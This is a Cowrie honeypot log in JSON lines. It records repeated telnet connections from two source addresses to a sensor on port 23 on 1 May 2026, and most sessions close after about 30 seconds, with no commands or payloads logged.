{"eventid":"cowrie.session.closed","duration":31.409098386764526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:25.476017Z","src_ip":"208.115.219.122","session":"f716fd37eb30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44880,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d1e91981159","protocol":"telnet","message":"New connection: 208.115.200.90:44880 (10.17.0.5:23) [session: 9d1e91981159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:25.557417Z"}
{"eventid":"cowrie.session.closed","duration":31.246034622192383,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:25.638583Z","src_ip":"208.115.200.90","session":"c8a30f87c14e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44882,"dst_ip":"10.17.0.5","dst_port":23,"session":"575c3660e611","protocol":"telnet","message":"New connection: 208.115.200.90:44882 (10.17.0.5:23) [session: 575c3660e611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:26.094516Z"}
{"eventid":"cowrie.session.closed","duration":31.02720284461975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:26.121808Z","src_ip":"208.115.219.122","session":"3f2f1d7707a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83494782447815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:26.141401Z","src_ip":"208.115.200.90","session":"d13fde532863","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93258547782898,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:26.148534Z","src_ip":"208.115.200.90","session":"4348815a4b17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.169353246688843,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:26.271701Z","src_ip":"208.115.219.122","session":"3657cca8c2d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44900,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbd8513f9eea","protocol":"telnet","message":"New connection: 208.115.200.90:44900 (10.17.0.5:23) [session: cbd8513f9eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:26.309771Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44908,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a1432c63d68","protocol":"telnet","message":"New connection: 208.115.200.90:44908 (10.17.0.5:23) [session: 8a1432c63d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:26.449577Z"}
{"eventid":"cowrie.session.closed","duration":30.598456382751465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:26.509350Z","src_ip":"208.115.200.90","session":"ae18541ccb09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.415253162384033,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:26.661943Z","src_ip":"208.115.200.90","session":"8ad440e54e48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.442190408706665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:26.683187Z","src_ip":"208.115.200.90","session":"4e71d2d73155","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45068,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5e3b7102e7f","protocol":"telnet","message":"New connection: 208.115.200.90:45068 (10.17.0.5:23) [session: d5e3b7102e7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:26.771214Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45080,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec4c0b85124a","protocol":"telnet","message":"New connection: 208.115.200.90:45080 (10.17.0.5:23) [session: ec4c0b85124a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:26.978793Z"}
{"eventid":"cowrie.session.closed","duration":30.799129962921143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:27.058456Z","src_ip":"208.115.219.122","session":"c01932897661","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02398419380188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:27.071115Z","src_ip":"208.115.219.122","session":"2dc3d557af32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45088,"dst_ip":"10.17.0.5","dst_port":23,"session":"080fc343ae5d","protocol":"telnet","message":"New connection: 208.115.200.90:45088 (10.17.0.5:23) [session: 080fc343ae5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:27.125272Z"}
{"eventid":"cowrie.session.closed","duration":30.973784685134888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:27.129143Z","src_ip":"208.115.200.90","session":"3c26bd945414","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07559847831726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:27.133279Z","src_ip":"208.115.219.122","session":"507087db2214","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.055471181869507,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:27.136480Z","src_ip":"208.115.200.90","session":"4013abe379c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80690336227417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:27.191558Z","src_ip":"208.115.200.90","session":"b9516ca7b044","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45098,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6fa8d615664","protocol":"telnet","message":"New connection: 208.115.200.90:45098 (10.17.0.5:23) [session: b6fa8d615664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:27.343918Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45102,"dst_ip":"10.17.0.5","dst_port":23,"session":"5eb64c36be32","protocol":"telnet","message":"New connection: 208.115.200.90:45102 (10.17.0.5:23) [session: 5eb64c36be32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:27.389221Z"}
{"eventid":"cowrie.session.closed","duration":30.928200721740723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:27.506224Z","src_ip":"208.115.200.90","session":"b2dfdfd386b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45142,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a2c79f6b1c3","protocol":"telnet","message":"New connection: 208.115.200.90:45142 (10.17.0.5:23) [session: 4a2c79f6b1c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:27.580708Z"}
{"eventid":"cowrie.session.closed","duration":31.35962963104248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:27.647301Z","src_ip":"208.115.200.90","session":"e393723d8e84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.470092296600342,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:27.843278Z","src_ip":"208.115.200.90","session":"a6850e2ed7fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46166,"dst_ip":"10.17.0.5","dst_port":23,"session":"e92d282eff9c","protocol":"telnet","message":"New connection: 208.115.219.122:46166 (10.17.0.5:23) [session: e92d282eff9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:27.978811Z"}
{"eventid":"cowrie.session.closed","duration":30.941967725753784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:28.026778Z","src_ip":"208.115.200.90","session":"07db77b2fab8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8091881275177,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:28.098440Z","src_ip":"208.115.219.122","session":"37dd980c5d65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.969109058380127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:28.151246Z","src_ip":"208.115.200.90","session":"4bbb187f1edc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.500210523605347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:28.207384Z","src_ip":"208.115.200.90","session":"857a8a6da15c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45208,"dst_ip":"10.17.0.5","dst_port":23,"session":"915672ef571f","protocol":"telnet","message":"New connection: 208.115.200.90:45208 (10.17.0.5:23) [session: 915672ef571f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:28.225911Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45212,"dst_ip":"10.17.0.5","dst_port":23,"session":"b58220faa468","protocol":"telnet","message":"New connection: 208.115.200.90:45212 (10.17.0.5:23) [session: b58220faa468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:28.258362Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45216,"dst_ip":"10.17.0.5","dst_port":23,"session":"92c3d3c84c24","protocol":"telnet","message":"New connection: 208.115.200.90:45216 (10.17.0.5:23) [session: 92c3d3c84c24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:28.311241Z"}
{"eventid":"cowrie.session.closed","duration":31.23787498474121,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:28.337604Z","src_ip":"208.115.200.90","session":"9b2f2c4ade87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58408,"dst_ip":"10.17.0.5","dst_port":23,"session":"3333bd8b6979","protocol":"telnet","message":"New connection: 208.115.219.122:58408 (10.17.0.5:23) [session: 3333bd8b6979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:28.366434Z"}
{"eventid":"cowrie.session.closed","duration":31.06833004951477,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:28.409027Z","src_ip":"208.115.200.90","session":"0fd85baaac01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58422,"dst_ip":"10.17.0.5","dst_port":23,"session":"e31ad673fddc","protocol":"telnet","message":"New connection: 208.115.219.122:58422 (10.17.0.5:23) [session: e31ad673fddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:28.422363Z"}
{"eventid":"cowrie.session.closed","duration":30.676952838897705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:28.431367Z","src_ip":"208.115.200.90","session":"3895766ffb75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83439016342163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:28.451276Z","src_ip":"208.115.200.90","session":"2aec90970862","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45270,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b72718563ae","protocol":"telnet","message":"New connection: 208.115.200.90:45270 (10.17.0.5:23) [session: 6b72718563ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:28.527285Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45310,"dst_ip":"10.17.0.5","dst_port":23,"session":"438e92c195c9","protocol":"telnet","message":"New connection: 208.115.200.90:45310 (10.17.0.5:23) [session: 438e92c195c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:28.547061Z"}
{"eventid":"cowrie.session.closed","duration":31.550992727279663,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:28.641172Z","src_ip":"208.115.219.122","session":"a5d82285c6f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45474,"dst_ip":"10.17.0.5","dst_port":23,"session":"2145538de2cb","protocol":"telnet","message":"New connection: 208.115.200.90:45474 (10.17.0.5:23) [session: 2145538de2cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:28.730620Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58644,"dst_ip":"10.17.0.5","dst_port":23,"session":"992914adb169","protocol":"telnet","message":"New connection: 208.115.219.122:58644 (10.17.0.5:23) [session: 992914adb169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:29.018079Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58672,"dst_ip":"10.17.0.5","dst_port":23,"session":"20d70f4c3ff8","protocol":"telnet","message":"New connection: 208.115.219.122:58672 (10.17.0.5:23) [session: 20d70f4c3ff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:29.067475Z"}
{"eventid":"cowrie.session.closed","duration":31.052313089370728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:29.099084Z","src_ip":"208.115.219.122","session":"849e6a095efd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58678,"dst_ip":"10.17.0.5","dst_port":23,"session":"28dbd6354fd4","protocol":"telnet","message":"New connection: 208.115.219.122:58678 (10.17.0.5:23) [session: 28dbd6354fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:29.114319Z"}
{"eventid":"cowrie.session.closed","duration":31.073312997817993,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:29.192460Z","src_ip":"208.115.200.90","session":"1d3150b45ec5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.879165410995483,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:29.197335Z","src_ip":"208.115.200.90","session":"26f15f82bf6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.489813327789307,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:29.201890Z","src_ip":"208.115.200.90","session":"af80e8413a2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58684,"dst_ip":"10.17.0.5","dst_port":23,"session":"df4eab09cd48","protocol":"telnet","message":"New connection: 208.115.219.122:58684 (10.17.0.5:23) [session: df4eab09cd48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:29.273100Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46174,"dst_ip":"10.17.0.5","dst_port":23,"session":"b83713f44a1f","protocol":"telnet","message":"New connection: 208.115.200.90:46174 (10.17.0.5:23) [session: b83713f44a1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:29.568656Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46232,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee64ccad8dc7","protocol":"telnet","message":"New connection: 208.115.200.90:46232 (10.17.0.5:23) [session: ee64ccad8dc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:29.601015Z"}
{"eventid":"cowrie.session.closed","duration":30.934183835983276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:30.031932Z","src_ip":"208.115.219.122","session":"9df898bee963","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47270,"dst_ip":"10.17.0.5","dst_port":23,"session":"94e43d863e4f","protocol":"telnet","message":"New connection: 208.115.200.90:47270 (10.17.0.5:23) [session: 94e43d863e4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:30.039834Z"}
{"eventid":"cowrie.session.closed","duration":30.863269567489624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:30.051266Z","src_ip":"208.115.219.122","session":"8fdc189da6fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58818,"dst_ip":"10.17.0.5","dst_port":23,"session":"4613b22fbfaa","protocol":"telnet","message":"New connection: 208.115.219.122:58818 (10.17.0.5:23) [session: 4613b22fbfaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:30.084605Z"}
{"eventid":"cowrie.session.closed","duration":30.289541244506836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:30.154134Z","src_ip":"208.115.200.90","session":"8c9ba41eb945","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45086,"dst_ip":"10.17.0.5","dst_port":23,"session":"08679e198e23","protocol":"telnet","message":"New connection: 208.115.200.90:45086 (10.17.0.5:23) [session: 08679e198e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:30.158592Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47280,"dst_ip":"10.17.0.5","dst_port":23,"session":"0deccc4d2973","protocol":"telnet","message":"New connection: 208.115.200.90:47280 (10.17.0.5:23) [session: 0deccc4d2973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:30.175508Z"}
{"eventid":"cowrie.session.closed","duration":31.143060207366943,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:30.188122Z","src_ip":"208.115.219.122","session":"94a4401c5534","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47290,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0d62ae7b35c","protocol":"telnet","message":"New connection: 208.115.200.90:47290 (10.17.0.5:23) [session: a0d62ae7b35c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:30.205784Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47316,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f0e5d5dca76","protocol":"telnet","message":"New connection: 208.115.200.90:47316 (10.17.0.5:23) [session: 2f0e5d5dca76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:30.269766Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47328,"dst_ip":"10.17.0.5","dst_port":23,"session":"70aec5b9c478","protocol":"telnet","message":"New connection: 208.115.200.90:47328 (10.17.0.5:23) [session: 70aec5b9c478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:30.308930Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47322,"dst_ip":"10.17.0.5","dst_port":23,"session":"d824bd13ec1f","protocol":"telnet","message":"New connection: 208.115.200.90:47322 (10.17.0.5:23) [session: d824bd13ec1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:30.313364Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47344,"dst_ip":"10.17.0.5","dst_port":23,"session":"c14e9fa68344","protocol":"telnet","message":"New connection: 208.115.200.90:47344 (10.17.0.5:23) [session: c14e9fa68344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:30.323279Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47346,"dst_ip":"10.17.0.5","dst_port":23,"session":"014a50b98bb8","protocol":"telnet","message":"New connection: 208.115.200.90:47346 (10.17.0.5:23) [session: 014a50b98bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:30.327383Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47614,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e109dff4c7d","protocol":"telnet","message":"New connection: 208.115.200.90:47614 (10.17.0.5:23) [session: 0e109dff4c7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:30.622918Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58938,"dst_ip":"10.17.0.5","dst_port":23,"session":"aeddbec31571","protocol":"telnet","message":"New connection: 208.115.219.122:58938 (10.17.0.5:23) [session: aeddbec31571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:30.683147Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47842,"dst_ip":"10.17.0.5","dst_port":23,"session":"640e5fdcdf9f","protocol":"telnet","message":"New connection: 208.115.200.90:47842 (10.17.0.5:23) [session: 640e5fdcdf9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:30.901133Z"}
{"eventid":"cowrie.session.closed","duration":31.77831196784973,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:30.924058Z","src_ip":"208.115.219.122","session":"3c245fbefe43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47894,"dst_ip":"10.17.0.5","dst_port":23,"session":"50734bc9ebfa","protocol":"telnet","message":"New connection: 208.115.200.90:47894 (10.17.0.5:23) [session: 50734bc9ebfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:30.958969Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":59088,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a5505d37c9f","protocol":"telnet","message":"New connection: 208.115.219.122:59088 (10.17.0.5:23) [session: 4a5505d37c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:31.021612Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":59100,"dst_ip":"10.17.0.5","dst_port":23,"session":"5885900c9a3d","protocol":"telnet","message":"New connection: 208.115.219.122:59100 (10.17.0.5:23) [session: 5885900c9a3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:31.047233Z"}
{"eventid":"cowrie.session.closed","duration":30.807450771331787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:31.057669Z","src_ip":"208.115.219.122","session":"0187f10867d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47922,"dst_ip":"10.17.0.5","dst_port":23,"session":"24eaabffd7c4","protocol":"telnet","message":"New connection: 208.115.200.90:47922 (10.17.0.5:23) [session: 24eaabffd7c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:31.095054Z"}
{"eventid":"cowrie.session.closed","duration":30.48410153388977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:31.169727Z","src_ip":"208.115.200.90","session":"172b41a0a069","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5462749004364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:31.177552Z","src_ip":"208.115.219.122","session":"e2b19ff6674f","protocol":"telnet"}
